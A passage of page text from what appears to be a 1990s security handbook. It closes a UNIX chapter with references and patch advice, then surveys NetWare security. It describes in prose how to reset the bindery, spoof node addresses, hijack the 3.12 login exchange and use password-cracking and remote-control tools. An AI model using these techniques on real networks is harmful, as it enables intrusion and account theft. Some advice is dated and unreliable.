\nhttp://www.cs.indiana.edu/X/security/intro.html \nSecurity in the X11 Environment. Pangolin, University of Bristol, UK. January 1995. \n• \nhttp://sw.cse.bris.ac.uk/public/Xsecurity.html \nSecurity in Open Systems. John Barkley, editor (with Lisa Carnahan, Richard Kuhn, \nRobert Bagwill, Anastase Nakassis, Michael Ransom, John Wack, Karen Olsen, Paul \nMarkovitz, and Shu-Jen Chang). U.S. Department of Commerce, Section: The X Window \nSystem: Bagwill, Robert. \n• \nhttp://csrc.ncsl.nist.gov/nistpubs/800-\n7/node62.html#SECTION06200000000000000000 \nSecurity Enhancements of the DEC MLS+ System: The Trusted X Window System. \nNovember 1995. \n• \nhttp://ftp.digital.com/pub/Digital/info/SPD/46-21-XX.txt \nEvolution of a Trusted B3 Window System Prototype. J. Epstein, J. McHugh, R. \nPascale, C. Martin, D. Rothnie, H. Orman, A. Marmor-Squires, M. Branstad, and B. \nDanner. In Proceedings of the 1992 IEEE Symposium on Security and Privacy, 1992. \nA Prototype B3 Trusted X Window System. J. Epstein, J. McHugh, R. Pascale, H. \nOrman, G. Benson, C. Martin, A. Marmor-Squires, B. Danner, and M. Branstad. The \nProceedings of the 7th Computer Security Applications Conference. December 1991. \nImproving X Window Security. Linda Mui. UNIX World 9(12). December 1992. \n" }, { "page_number": 360, "text": " \n \nSecurity and the X Window System. Dennis Sheldrick. UNIX World 9(1):103. January \n1992. \nThe X Window System. Robert W. Scheifler and Jim Gettys. ACM Transactions on \nGraphics, (5)2:79-109. April 1986. \n• \nhttp://www.acm.org/pubs/toc/Abstracts/0730-0301/24053.html \nX Window Terminals. Björn Engberg and Thomas Porcher. Digital Technical Journal \nof Digital Equipment Corporation, 3(4):26-36. Fall 1991. \n• \nftp://ftp.digital.com/pub/Digital/info/DTJ/v3n4/X_Window_Terminals\n_01jul1992DTJ402P8.ps \nThe Patches \nYour next step is to apply all available or known patches for your operating system. \nMany of these patches will correct serious security problems that have become known \nsince your operating system distribution was first released. These packages most often \nconsist of little more than a shell script or the replacement of a shared resource, but they \nare very important. \nA comprehensive listing of all patches and their locations is beyond the scope of this \nbook. However, the following are a few important links: \n \nCross Reference: Patches for Sun operating systems and Solaris can be found at \nftp://sunsolve1.sun.com/pub/patches/. \nPatches for the HP-UX operating system can be found at \nhttp://support.mayfield.hp.com/patches/html/patches.html. \nPatches for Ultrix can be found at \nftp://ftp.service.digital.com/pub/ultrix/. \nPatches for the AIX operating system can be found at \nftp://software.watson.ibm.com. \n \nYou should consult your vendor about methods to determine whether patches have been \ninstalled. Most operating systems have a tool (or script) designed to perform this \noperation with ease. For those with licenses still in good standing, support is just a click \naway. Most vendors have compiled a list of patches that should be installed for any given \nversion of their product; a list that covers all patches applicable up to that point and \nversion. \nConnecting the Machine to the Internet: Last Steps \nAll right. It is time to connect your machine to the Internet (and probably a local area \nnetwork as well). Before doing that, however, you should take one final step. That step \n" }, { "page_number": 361, "text": " \n \ninvolves security policies and procedures. All the security in the world will not help you \nif your employees (or other users) run rampant throughout the system. \nYour policies and procedures will vary dramatically, depending on what your network is \nused for and who is using it. Before you ever connect to the Net (or any network), you \nshould have a set of policies and procedures. In my opinion, they should be written. \nPeople adhere to things more stringently when they are written. Also, if you are away and \nhave appointed someone else to handle the machine (or network), that person can quickly \nrefer to your policies and procedures. \nMany companies and organizations do not have such policies and procedures and this \nleads to confusion and disagreement among management personnel. (Moreover, the lack \nof a written policy greatly weakens security and response time.) \nRather than take up space here discussing how those documents should be drafted, I refer \nyou to RFC 1244, the Site Security Handbook. Although some of the more technical \nadvice may be dated within it, much of the people-based advice is very good indeed. \n \nCross Reference: RFC 1244 is located at http://www.net.ohio-\nstate.edu/hypertext/rfc1244/intro.html. \n \nAnother interesting source (and a different outlook) on security policies and procedures is \na Data Defense Network circular titled \"COMMUNICATIONS SECURITY: DDN \nSecurity Management Procedures for Host Administrators.\" It defines some of the \nmeasures undertaken by DDN. \n \nCross Reference: \"COMMUNICATIONS SECURITY: DDN Security Management \nProcedures for Host Administrators\" is located at \nhttp://csrc.ncsl.nist.gov/secalert/ddn/DCA_Circular.310-\nP115-1. \n \nAnother, newer and more comprehensive, document is titled \"Protection of TCP/IP Based \nNetwork: Elements: Security Checklist Version 1.8,\" authored by Dale Drew at MCI. \nThis document is a quick checklist that covers not just policies and procedures, but all \nelements of network security. It is an excellent start. \n \nCross Reference: \"Protection of TCP/IP Based Network: Elements: Security Checklist \nVersion 1.8\" is located at http://www.security.mci.net/check.html. \n \nFinally, at the end of this chapter, there is a list of publications, journals, Web pages, and \nbooks in which you can find valuable information on setting user policies. \nPublications \nPractical UNIX and Internet Security (Second Edition). Simson Garfinkel and Gene \nSpafford. 1996. O'Reilly & Associates, Inc. ISBN 1-56592-148-8. \n" }, { "page_number": 362, "text": " \n \nUNIX Security: A Practical Tutorial. McGraw-Hill. N. Derek Arnold. 1993. ISBN 0-\n07-002560-6. \nUNIX System Security. Addison-Wesley Publishing Company, Inc. David A. Curry. \n1992. ISBN 0-201-56327-4. \nUNIX System Security. Addison-Wesley Publishing Company, Inc. Rick Farrow. 1990. \nISBN 0-201-57030-0. \nThe Cuckoo's Egg. Cliff Stoll. Doubleday. ISBN 0-385-24946-2. 1989. \nUNIX System Security. Patrick H. Wood and Stephen G. Kochan. Hayden Books. ISBN \n0-8104-6267-2. 1985. \nComputer Security Basics. Deborah Russell and G. T. Gangemi, Sr. O'Reilly & \nAssociates, Inc. ISBN 0-937175-71-4. July 1991. \nComputer Crime: A Crimefighter's Handbook (First Edition). David Icove, Karl \nSeger, and William VonStorch; Consulting Editor Eugene H. Spafford. ISBN 1-56592-\n086-4. August 1995. \nThe Next Step \nBefore you actually begin designing your network, there are several papers you need to \nread. These will assist you in understanding how to structure your network and how to \nimplement good security procedures. Here are the papers, their locations, and what they \nwill do for you: \n• \nSecuring Internet Information Servers. CIAC-2308 R.2 by the members of the CIAC Team. \nDecember 1994. In PDF format. Your machine is going to be an Internet Information Server. This \ndocument will take you step-by-step through securing anonymous FTP, Gopher, and the WWW. It \nwill give you an inside look at common configuration problems as well as common vulnerabilities. \nhttp://ciac.llnl.gov/ciac/documents/CIAC-2308_Securing_Internet_Information_Servers.pdf \n• \nSecuring X Windows. CIAC-2316 R.0. by John Fisher. August 1995. Lawrence Livermore \nNational Laboratory Computer Incident Advisory Capability CIAC Department of Energy UCRL-\nMA-121788. In PDF format. This document will help you understand the basic weaknesses in X \nand how to shore up X security on your server. \nhttp://ciac.llnl.gov/ciac/documents/CIAC-2316_Securing_X_Windows.pdf \n• \nElectronic Resources for Security Related Information. CIAC-2307 R.1. by Richard Feingold. \nDecember 1994. This document will provide you with a comprehensive list of UNIX-related \nresources for security. It will assist you in narrowing your problem and provide with the \nknowledge of who you should ask and where you should ask. \nhttp://ciac.llnl.gov/ciac/documents/CIAC-\n2307_Electronic_Resources_for_Security_Related_Information.pdf \n• \nThe AUSCERT (Australian CERT) UNIX Security Checklist. (Version 1.1) Last update \nDecember 19, 1995. This document is probably the most comprehensive collection of UNIX \nsecurity information for its size. It will take you step by step through securing common holes on a \nwide variety of platforms. An excellent publication. \nftp://caliban.physics.utoronto.ca/pub/unix_security_checklist_1.1 \n" }, { "page_number": 363, "text": " \n \n• \nComputer Security Policy: Setting the Stage for Success. National Institute of Standards and \nTechnology. January 1994. CSL Bulletin. This document will assist you in setting security \npolicies in your network. \nhttp://www.raptor.com/lib/csl94-01.txt \nThe Close \nYou have still another task. Go back to Chapter 9, acquire as many of the scanners listed \nthere as possible, and attack your machine over the network. The results will provide you \nwith still more diagnostic information about your machine. \nSummary \nThis chapter covers only the surface of UNIX security. For this, I do apologize. However, \nmany volumes could be written about this subject. It is an evolving, dynamic field in \nwhich many of your decisions will be based on the way your network is constructed and \nthe users that populate it. \nIn my view, a little UNIX security knowledge is a valuable thing for all system \nadministrators, no matter what platform they actually use. This is primarily because \nUNIX evolved side by side with the Internet. Many valuable lessons have been learned \nthrough that evolutionary process, and Microsoft has wisely applied those lessons to the \ndesign of Windows NT. \nSecuring a UNIX server is more an art than a science. As the saying goes, there are a \ndozen ways to skin a cat. In UNIX security, the climate is just so. I have seen system \nadministrators develop their entire security scheme from scratch. I have seen others who \nrely largely on router-based security measures. You have numerous choices. Only you \ncan determine what works and what doesn't. \nIn short, the field of UNIX security is truly engrossing. I have encountered few operating \nsystems that are as elegant or that offer as many different ways to approach the same \nproblem. This versatility contributes to the level of difficulty in securing a UNIX server. \nThus, the act of securing a UNIX box is a challenge that amounts to real hacking. \n" }, { "page_number": 364, "text": " \n \n18 \nNovell \nWhenever I am at a client's office, invariably the conversation turns toward operating \nsystems. We bat around various flavors of UNIX, discuss Windows NT, and then \nsuddenly, Novell emerges. From there, it is all downhill. We go from Novell to DOS 3.x, \nand finally, to CP/M. Most people today speak of Novell in the \"I remember when\" \nmode. Think about that for a moment. I will wager that the last time someone talked with \nyou about Novell, that dreaded term \"legacy network\" was mentioned more than once. \nThis is a mystery to me, largely because Novell had made innovations relevant to the \nInternet \"way back\" in 1991. Even at that time, the Novell NetWare platform supported \nTCP/IP and was Internet ready. Today, Novell is still very much in the running. Web \nservers and other baseline Internet applications continue to be written for the Novell \nplatform. And, interestingly, Novell may measure out to be as secure as any of its \ncounterparts. \nBackground \nNetWare has been with us a long time. The first version of NetWare was released in \n1983. To put that in perspective, consider this: MS-DOS had just emerged. Computer \nenthusiasts were dreaming about the luxury of a 286 with 640KB RAM. It was less than \n15 years ago, and when you think of it in these terms, it doesn't seem so far away. \nHowever, measure that 14 years against the backdrop of the computer industry (which \nhas now exploded). \nSince that time, NetWare has undergone some major changes. And, although it is not \nreally secure in its out-of-the-box state, NetWare has some substantial security features. \nControl of what services run on what port is just as incisive in Novell as it is in UNIX. \nThe system is, in fact, nearly identical. For those of you who are considering stringing \nyour Novell network to the Net (which is now a popular practice), I suggest getting some \nbackground in TCP/IP. Many excellent Ethernet administrators familiar with IPX are less \nconfident about their TCP/IP knowledge. This is where standards really shine through \nand assist the administrator. TCP/IP is negotiated in a similar fashion on almost every \nplatform. \nIn NetWare, the file that governs your service is SYS:ETC\\SERVICES. This file contains a \nlist of services that you will be running from out of your intranet to the Internet at large. \nIt is the equivalent of the /etc/services file in UNIX. It is from this file that you pick \nand choose your services, which may include TFTP, FTP, and Telnet. In this respect, a \nNovell network running TCP/IP could be scanned in the same fashion as a UNIX box. \nThe SYS:ETC\\SERVICES file is one to watch closely. Misconfigurations there can lead to \nsecurity problems. \n" }, { "page_number": 365, "text": " \n \nThe discretionary access controls in NetWare are also formidable. In fact, Novell's \ncontrol of the system is quite granular. It extends, for instance, to time-based restrictions. \nA user's access can be restricted to certain hours of the day and certain days of the week. \nUsers' passwords are subjected to aging and there are at least rudimentary controls to \nreject passwords that are either too short or those that have been used before. \nControl over directories and files is good. For example, the following controls can be \nplaced on directories: \n• \nDelete inhibit--Files or directories marked with this attribute cannot be deleted by system users. \n• \nHidden--Files or directories marked with this attribute cannot be seen. (That is, if a user is \nsnooping through a directory, he will not discover a directory or file so marked.) Also, any object \nmarked with this attribute cannot be deleted or copied. \n• \nPurge--This attribute causes a file to be purged, or obliterated from existence upon deletion. In \nother words, when the supervisor deletes files marked with this attribute (or files within a \ndirectory marked with this attribute), the files cannot be restored. \nThe control that NetWare offers over files is even more finely structured. In addition to \nbeing able to apply any of these attributes to files, a Novell NetWare system \nadministrator can also apply the following: \n• \nRead only--This restricts users from altering the files. \n• \nExecute only--Marks a file as execute-only, meaning that it cannot be copied, backed up, or \notherwise \"taken away.\" \n• \nCopy inhibit--Prevents Macintosh users from copying files. \nThese controls are impressive in an operating system. A comparative analysis of Novell \n3.x, for example, and Microsoft Windows for Workgroups is instructive. Windows for \nWorkgroups was an excellent platform on which to establish a network. However, its \nsecurity capabilities were practically nonexistent. In contrast, Novell NetWare had \nadvanced controls on all elements of the system. \nHere is an interesting bit of trivia: Using the Novell NetWare operating system, you can \nactually restrict the physical location at which a user can log in. That is, you can specify \nthat John can only log in from his own station. If he proceeds to another computer, even \njust 6 feet away, he will be unable to log in. In order for you to do this, however, you \nmust specify that all users are restricted in the same manner. \n \nNOTE: NetWare also has provisions for a hierarchy of trust. That is, you can assign \nmanagers to each section of the LAN and assign a group of people to each manager. \nThus, NetWare can be used to quickly and efficiently map out relationships of trust and \nauthority that closely (if not precisely) parallel the actual levels of trust and responsibility \nbetween those within your organization. \n \n" }, { "page_number": 366, "text": " \n \nThe Novell NetWare network environment offers fine security. (It is not perfect, but \ndemonstrates advanced security techniques, even going back to Novell NetWare 3.x.) \nNovell NetWare 4.x is a very strong platform and has become popular as a WWW server \nplatform. \nThe flip side of this is that we have not yet seen Novell handle the void. In closed \nnetwork situations, Novell has proven to be an excellent networking platform. The levels \nof security it provides will foil all but the most studious cracker or hacker. Novell is just \nnow getting a taste of the real outside world. It may not be long before we see Novell \nsecurity advisories floating around the Internet. Later in this chapter, you will get a \nchance to see at least one flaw found only two months prior to this writing. It is a hole \nthat could allow a remote exploit. You'll also learn about other exploits as we briefly look \nat the security of Novell. \nOne point I should explain here is why Novell holes have not surfaced in the same way \nthat UNIX holes have. The Novell NetWare environment is vastly different from the \nUNIX environment. NetWare is used primarily in business settings. Many accounting \nfirms, law firms, and medical practices use NetWare as a networked platform. DOS-\nbased programs run well in NetWare, so you can use it for record keeping, accounting, \nand billing. \nNetWare also provides an attractive enough interface, and it is surprisingly lightweight \nconsidering the wonderful networking job that it does. However, NetWare users and \nUNIX users are disparate. NetWare users characteristically access DOS-based programs \nthrough the shell. The shell provides a suitable menu interface. You simply move the \narrow down the list of choices and fire. It is a point-and-shoot type of environment from \nthat standpoint. Thus, although there are undoubtedly thousands of developers that may \nwork their craft on a Novell NetWare network, the majority of NetWare users never \nreally come into contact with the operating system level. To them, the underlying \nframework is largely invisible. \nIn contrast, UNIX users regularly have contact with dozens (if not hundreds) of \ncommands at the operating system level. Because UNIX is a developer's platform (with \nthat development deeply rooted in the C programming language), UNIX users are more \nintimately familiar with the nature of their operating system, its flaws, and its virtues. On \nthis account, hard-core analysis of the UNIX operating system is constantly under way. \nThis process is not only undertaken by developers for UNIX vendors, but also by the \npeople who rely on this strange operating system each day. As the general knowledge of \nan operating system increases, so does the specific knowledge regarding its holes. \nSuch in-depth analysis in NetWare is confined primarily to the developers who created it. \nTheir source code is proprietary and therefore, the computing community has no reliable \nway of knowing what flaws, if any, exist in the NetWare operating system. True, there \nmay be fragmented efforts here and there to attack the binaries of that operating system, \nperhaps searching for buffer overflows or other, lower-level, problems. \nThe future will tell us all about NetWare, though, because it has now survived that one \ngiant step to the Internet. NetWare users now want their networks strung to the Net. And, \n" }, { "page_number": 367, "text": " \n \nas I said at the beginning of this chapter, Novell had provisions for strong TCP/IP support \nfive years ago. \nThroughout this chapter, I will take a look at NetWare security. Again, the purpose of this \nbook is not to cover one operating system extensively, but rather, to prepare the user for \ngeneral Internet security. By the time you reach the last quarter of this book, I will be \nmaking references to all the operating systems covered up until that point, often not only \nin the same chapter, but in the same paragraph. I have tried to design this book so that by \nthe time you reach that point, you will be well prepared. \nIn short order, then, let's have a look at this old but revolutionary operating system. \nNetWare Security in General \nNetWare has always been a platform that is attacked from within. That is, those on the \ninternal network are usually the enemy. A wide variety of attacks are available if you are \nwithin close physical proximity of a NetWare server. Here are a few: \n• \nDown the machine, access the disk, and alter the bindery. When this machine reboots, the \noperating system will examine the bindery. It will determine that a valid one does not exist. Based \non this information, it will reconstruct a new default bindery. When it does, all previous password \nprotection will no longer exist. \n• \nLoad one of several network loadable modules (NLMs) that can (at least on 3.x and before) \nchange, disable, or otherwise bypass the supervisor password. \n• \nAttack the Rconsole password on earlier distributions of Novell. Reportedly, the algorithm used \nfor the encryption of that password was poorly conceived. It is weak and passwords so encrypted \ncan be cracked quite easily. \nDefault Passwords \nThere is never a replacement for good system administration. Do you remember the SGI \nexploit I examined at the beginning of this book? The Webforce line of computers had a \ndefault login for the line printer. This login ID did not require a password. This is referred \nto as a passwordless account. Almost every network operating system has at least one \naccount that already exists that does not require a password. \n \nNOTE: When installing Slackware versions of Linux, for example, the process \ncompletes by you booting to a login prompt. The first time you log in, you log in as root \nwithout a password. It is left to the user to assign a password to the root account. Not all \nUNIX-based platforms work this way. For example, when you're installing SunOS by \nhand, one of the last options it requests is what the root password will be. Similarly, Red \nHat Linux registers a password before the first boot load. This policy is probably a wise \nidea. \n \nIn NetWare, the supervisor account is passwordless on a fresh installation and remains so \nuntil the supervisor assigns a password. (In other words, the operating system never \nforces a password.) Moreover, there is a GUEST account created at time of installation. If \n" }, { "page_number": 368, "text": " \n \nyou do not feel that you will need this account, go into SYSCON and delete it immediately. \nHowever, if you envision using this account to provide guest access, assign a password to \nit immediately. \nSpoofing \nSpoofing is the act of using one machine to impersonate another by forging the other's \n\"identity\" or address. It is not a baseline skill with crackers. Either they know how to do \nit or they don't. The technique is talked about often because of its uniqueness. It is a \nmethod of breaking into a remote host without providing so much as a user ID or a \npassword. For that reason, spoofing has developed a mystique on the Internet (despite the \nfact that spoofing was known about at Bell Labs more than 12 years ago). \nThere are different forms of spoofing. Typically, when we think of spoofing, we have in \nour minds the notion of IP spoofing across the Internet. Certainly, this is the most popular \nkind of spoofing among crackers because of the press coverage that followed Kevin \nMitnik's arrest. How-ever, there are different types of spoofing. Here, I am referring to \nhardware address spoofing. \nIn Chapter 28, \"Spoofing Attacks,\" I address IP spoofing attacks. However, it will suffice \nhere to write that in 1985, at Bell Labs, it was determined that spoofing was a viable \nprocedure. A paper was posted to the Net on this subject. It was four pages or so, \ndescribing how such an attack might someday be implemented. \nSpoofing in the NetWare environment is not impossible; it is just difficult. Most crackers \nadvise that you can change the hardware address in the NET.CFG file. However, it might \nnot be as easy as this. \n \nNOTE: The NET.CFG file contains parameters that are loaded on boot and connection to \nthe network. This file includes many options to alter the configuration by hand (which is \nmighty useful because conventional configurations sometimes fail to \"come out right\"). \nTo supplement this, changes may be made directly to the interface using this file. Options \ninclude number of buffers, what protocols are to be bound to the card, port number, MDA \nvalues, and, of course, the node address. \n \nThe node address is generally hard-coded into the Ethernet card itself. If you have such a \ncard lying around the office, take a look at it; the address is generally posted directly on \nthe face of the card (a little sticker or perhaps even letters burned into the board itself). \nSome cards have jumpers that allow you to alternate the IRQ and ROM address settings. \nSome boards also allow you to alter the node address of the card via software. That is \nwhere the spoofing comes into the picture. \nThe popular way to spoof is by altering the address in the NODE field in the NET.CFG file. \nIn this scenario, you assign the node an address belonging to another workstation. \nHowever, severe problems could result from this if you were to initiate a session using \nthe identical hardware address of a workstation also logged on. This could potentially \ncrash the system, hang the machine, or cause other trouble on the wire. \n" }, { "page_number": 369, "text": " \n \nIf this technique is to be truly effective, the cracker must devise a way to temporarily \n\"kill\" or anesthetize the machine from which he is claiming to originate. This may not be \na problem, depending on the circumstances. Perhaps the other machine has been turned \noff for the night. If so, the cracker has a wide open field for experimentation. \n \nNOTE: In order for this type of attack to work, many variables must be just right. For \nexample, if there are any network interfaces between the attacker and the target, this may \nnot work. Say the packets have to cross a hub and there is some hardwire scheme that \nmanifests the path between the target and the machine the cracker is claiming to originate \nfrom. Under this scenario, the spoofing attack will fail miserably. \n \nThis refers only to hardware address spoofing in an Ethernet setting. However, some \nNovell NetWare networks are running TCP/IP on the inside. TCP/IP spoofing from \ninside a Novell NetWare network is a different matter and much will depend on how \nmuch information the cracker can glean about the network. \nSniffers and Novell \nIn Chapter 12, \"Sniffers,\" I examined sniffers as one important method of attack against \nan Ethernet network. Sniffers are primarily valuable in surreptitiously capturing login IDs \nand passwords on a network. \nFortunately, in most instances, such an attack will not be effective against a Novell \nNetWare network. Following version 2.0a, passwords passed during the login process \nwere encrypted. Therefore, a sniffer attack would be largely a waste of time. \n \nNOTE: An attacker could technically capture encrypted passwords and transport these \nelsewhere, perhaps to his home or office. There, he could eventually crack these using a \nbrute-force password utility. However, there are other more immediate avenues to try. \nRunning a sniffer could be a complicated process on a NetWare network. Many \nworkstations are liable to be diskless clients, leaving the cracker no place to hide his \nbounty. (And realistically, just how much sniffed traffic can fit on a floppy that already \nhas boot and network loading files on it?) \n \nAny attempt to capture passwords on a Novell NetWare network would probably be via a \nkeystroke capture utility. There are only a limited number of these and they all have to be \nat least on the same interface or machine as the target. Thus, securing each workstation \nfor key capture utilities is a fairly straightforward process. \nObviously, keystroke capture utilities won't be found on diskless clients (unless loaded \nonto the floppy), so your field of investigation is narrow. The time your search will \nconsume is increased only by the hard drive size and directory structure depth of the \nworkstation you are examining. You can assume that the utility is probably a hidden file, \nprobably named something different from what it was originally named. (In other words, \nyou will not be looking for files such as Gobbler or Sniffer. Crackers and hackers may \nwrite programs with dramatic, pulp-fiction names, but when they go to deploy those \ntools, more innocuous names are in order.) \n" }, { "page_number": 370, "text": " \n \nThere are several ways you can search. One is by checksum/size. Another is to use a \nutility such as grep. Most of these cracking utilities contain within the code some string \nof unique text. (Frequently, crackers put a slogan, a nickname, or a comment within the \ncode.) Using grep, awk, or other utilities with powerful regular expression search \ncapabilities, you can attempt to identify such files, which may be masquerading as \nnormal system files or documents. \n \nNOTE: Crackers suggest that keystroke capture utilities be placed somewhere in the \npath. This allows the utility to be remote, but still capture the needed data. Thus, if you \nwere searching for such a utility, you would start with all directories declared in the path \nstatement. This statement may be oddly formed, too, depending on whether the machine \nis a diskless workstation. If it is not a diskless workstation, take a look at the \nautoexec.bat. \n \nIt is true that sniffers are almost pointless (too much effort and too great a risk) with \nrespect to Novell NetWare passwords in versions higher than 2.0a. However, if your \nnetwork houses older file servers, the default password encryption scheme must be \ndisabled, according to Novell NetWare Version 3.11 Installation Guide (Novell, Inc.). \nThis poses quite a different situation. Passwords on those interfaces will be moved across \nthe network in clear text. This is a fact well known to crackers. Under such \ncircumstances, a cracker would benefit greatly from utilizing a packet sniffer. If you are \ncurrently in such a situation, I suggest you attempt to transplant that information \nelsewhere and upgrade the OS or to disconnect that file server from any portion of a \nnetwork already reasonably believed to be safe from sniffing attacks. \nCracking Tools \nThe following sections describe tools. Some were written by individuals who wanted to \nbetter network security. Others were written by crackers. All of them share one thing in \ncommon: They can be used to crack a Novell site. \nGetit \nReportedly written by students at George Washington High School in Denver, Colorado, \nGetit is designed to capture passwords on a Novell network. The program was written in \nassembly language and is therefore quite small. This tool is triggered by any instance of \nthe LOGIN.EXE application used in Novell to authenticate and begin a login session on a \nworkstation. Technically, because of the way Getit works, it can be marginally qualified \nas a sniffer. It works directly at the operating system level, intercepting (and triggering \non) calls to Interrupt 21h. It's probably the most well known NetWare hacking tool ever \ncreated. \nBurglar \nBurglar is a somewhat dubious utility. It can only be used where an individual has \nphysical access to the NetWare file server. It is an NLM, or a loadable module. Most of \nNovell NetWare's programs executed at the server are loadable modules. (This includes \n" }, { "page_number": 371, "text": " \n \neverything from the system monitor to simple applications such as editors.) The utility is \nusually stored on a floppy disk. The attacker sometimes has to reboot the server. \nProviding that the attacker can reach the Novell server prompt (without encountering any \npassword-protected programs along the way), the utility is then loaded into memory. This \nresults in the establishment of an account with supervisor privileges. However, the \nutility's impact on the Novell networking community has probably been negligible. \nRarely are file servers available for public tampering. \nSpooflog \nSpooflog is a program, written in C by Greg Miller, that can spoof a workstation into \nbelieving that it is communicating with the server. This is a fairly advanced exploit. It \nshould be observed here that Miller is not a cracker. He provides these programs over the \nInternet for research into general network security and he has no affiliation with any \nradical or fringe group. He is simply a talented programmer with a very keen sense of \nNetWare. \n \nCross Reference: Spooflog is available (along with the source code) at \nhttp://www.users.mis.net/~gregmi/. \n \nSetpass \nAnother loadable module, Setpass is designed to give the user supervisor status. This \nmodule also requires physical access to the machine. Basically, it is a variation of \nBurglar. It works (reportedly) on Novell NetWare 3.x to 4.x. \nNWPCRACK \nNWPCRACK is a brute-force password cracker for cracking passwords on the Novell \nplatform. This utility is best used from a remote location, working on passwords over \nlong periods of time. As the author points out, there is a period of delay between \npassword attempts and thus, brute forcing could take some time. This utility would \nprobably work best if the cracker were attacking a network that he knew something \nabout. (For example, if he knew something about the people who use the machine.) Short \nof that, I believe that a brute-force cracking tool for an environment like NetWare is \nprobably impractical. Nevertheless, some crackers swear by it. \nIPXCntrl \nIPXCntrl is a sophisticated utility, written by Jay Hackney, that allows remote control of \nany compromised machine. For lack of a better description, the package comes with a \nclient and a server, although these are not a client and server in the traditional sense. \nThese are called the master and the minion, respectively. The master drives the minion \nover remote lines. In other words, this software persuades the network that keystrokes are \ncoming from minion when they are actually coming from master. It runs as a TSR \n(terminate and stay resident) program. \nCrack \n" }, { "page_number": 372, "text": " \n \nCrack is a password cracker for the Novell NetWare platform. This password cracker is \nwordlist based (much like its UNIX-based namesake). It's a comprehensive tool that does \nnot require NetWare to be on the local disk in order to operate effectively. It's a good tool \nfor testing your passwords. \n \nCross Reference: Crack is available at \nhttp://www.mechnet.liv.ac.uk/~roy/freeware/crack.html. \n \nSnoop \nSnoop is quite something. It gathers information about processes and the shell. It's an \nexcellent tool for collecting information about each individual workstation and for \nwatching the shell. \n \nCross Reference: Snoop is available at \nhttp://www.shareware.com/code/engine/File?archive=novell-\nnetwire&file=napi%2fcltsdk1e%2fsnoop%2eexe&size=102625 . \n \nLA \nLA is identical to IPXCntrl in purpose, but not nearly so well designed. It is a simple \nutility, though, and works well. \nChknull \nChknull, by an unknown author, checks for null passwords and is to be used primarily as \na tool to strengthen security by alerting the supervisor to possible problems stemming \nfrom such null passwords. However, like all these utilities, this is dangerous in the hands \nof a cracker. \nNovelbfh.exe \nNovelbfh.exe is a brute-force password cracker for login. It keeps guessing combinations \nof letters until it finally cracks the password. \nThe problem with these utilities, of course, is that they take an enormous amount of time. \nMoreover, if the supervisor has enabled intruder detection, an intruder detection lockout \n(IDL) will occur. IDL works by setting a \"threshold,\" which is the number of times that a \nuser can forward incorrect login attempts. Added to this value is the Bad Login Count \nRetention Time. This time period (which defaults to 30 minutes) is the block of time \nduring which bad login attempts are applied to the IDL scheme. So if an incorrect login is \nreceived at 1:00 p.m., monitoring of subsequent logins on that account (relative to IDL) \nwill continue to look for additional bad logins until 1:30 p.m. To compound this, the \nsupervisor can also specify the length of time that the account will remain locked out. \nThis value defaults to 15 minutes. IDL is therefore a very viable way of preventing brute-\nforce attacks. If these options are enabled, a brute-force cracker is worthless against the \nNovell NetWare platform. \n \n" }, { "page_number": 373, "text": " \n \nTIP: If you are new to security and have been handed a Novell NetWare network, you \nwill want to enable IDL if it hasn't already been. Also, you should check-- at least twice a \nweek--the audit log generated from that process. (The events are logged to a file.) You \ncan access that log (which is really the equivalent of /var/adm/messages and \nsyslog in UNIX) by changing the directory to SYS:SYSTEM and entering the \ncommand PAUDIT. \n \nDenial of Service \nAs I have pointed out at several stages in this book, the denial-of-service attack is not \nmuch of an issue. The average denial-of-service attack typically disables one network \nservice. In the worst case, such an attack may force a reboot or freeze a server. These \nactions remain more an embarrassment to the programmers who coded the affected \napplication than they do a critical security issue for the target. Nevertheless, such activity \ncan be irritating. \nOne reported way to cause a denial-of-service attack on NetWare (3.x and possibly 4.x) is \nto capture a network printer and attempt to print an absurdly large file. This overflows the \nSYS volume and causes the machine to crash. Naturally, this would require not only \nphysical access to an internal machine, but also an account there. However, in large \norganizations, it is entirely possible that malicious individuals may exist--individuals who \nmay be secretly working for a competitor or just plain crackers who love to see a system \ngo down. This is a relatively low-priority attack, as the machine can easily be rebooted \nand the problem solved. \nFTP Vulnerability to Denial-of-Service Attacks \nCertain versions of NetWare's FTP server are vulnerable to a denial-of-service attack. \n(This has been confirmed by Internet security systems and Novell, as well. Novell has \nissued a patch.) Apparently, when a brute-force attack is mounted against the anonymous \nFTP server, this activity causes an overflow and a memory leak. This leak ultimately \nconsumes the remaining memory and the machine will freeze, failing to respond further. \nA brute-force attack in this case is a program that automates the process of trying \nhundreds (or sometimes thousands) of passwords on a given server. \nLogin Protocol of NetWare 3.12 Flawed \nIn October 1996, Greg Miller posted an advisory and an accompanying paper to the Net \ndemonstrating a successful attack against the login procedure in Novell 3.12. The \nprocedure involved an interruption of the login process in real-time. \n \nCross Reference: A complete explanation of Miller's process is available at \nhttp://geek-girl.com/bugtraq/1996_3/0530.html. \n \nThe attack technique is a form of spoofing and is dependent on many things. (In other \nwords, this is neither an easily implemented nor widely known technique.) The following \nare the limitations on the attack: \n" }, { "page_number": 374, "text": " \n \n• \nThe attacker must be able to view, monitor, or somehow anticipate the login attempts of legitimate \nusers. \n• \nThe targeted server must allow unsigned packets. \nThe process works as follows: The attacker sends a request for a login key. The server \npromptly responds with this key. The attacker then waits for a legitimate user to issue a \nsimilar request. When such a request occurs, and before the server can respond to the \nlegitimate user, the attacker sends his login key to the legitimate user. The legitimate \nuser's machine takes the bogus key as authentic and therefore ignores any further keys. \n(Thus, the legitimate user's remaining authentication will be based on an invalid key.) \nWhat remains is for the attacker to watch the rest of the exchange between the legitimate \nuser and the server. The legitimate user's machine calculates a value based on a user ID \nsent from the server. It is this value that the attacker wants. The attacker can now log in \nas the legitimate user. (And of course, the legitimate user is now denied access.) It is an \nextraordinary hole. Duplication of this procedure in the void would be extremely difficult \nbut not impossible. I think that at a minimum, the attacker would have to be familiar with \nthe targeted server and the habits of those who routinely use it. Nevertheless, it is a hole \nand one that does allow a remote individual to gain access. \nThese types of exploits for NetWare are rare. \nLogin Script Vulnerability \nUnder Novell 2.x and 3.x, if the supervisor fails to define a login script, a potential hole \nexists because crackers can place a login script into the supervisor's mail directory. It is \nunclear exactly what level of compromise this might lead to. Certainly, the supervisor's \npassword can be captured. Furthermore, the number of parameters available to the author \nof a login script are many. In practice, it seems absurd that a supervisor would fail to \ncreate a login script, but I have seen some use the default. These are usually first-time \nadministrators. This problem has been remedied in later versions of the software. \nOne thing that you will readily notice about the Novell NetWare platform is that most of \nthe methods used to crack it require some local, physical access. In all 